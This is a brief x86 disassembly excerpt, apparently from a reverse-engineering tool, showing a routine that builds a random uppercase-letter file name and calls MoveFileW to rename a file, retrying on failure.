imul edx, edx, 0x1a
sub ecx, edx
add ecx, 0x41
mov word [edi + esi*2], cx
inc esi
add esp, 4
cmp esi, ebx
jb 0x401702
mov edx, dword [esp + 0x1c]
push edi
xor ecx, ecx
push edx
mov word [edi + esi*2 + 2], cx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x401750
sub dword [esp + 0xc], 1
jne 0x4016f8
mov eax, dword [esp + 0xc]
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
pop esi
xor eax, eax
pop ebp
add esp, 0xc
ret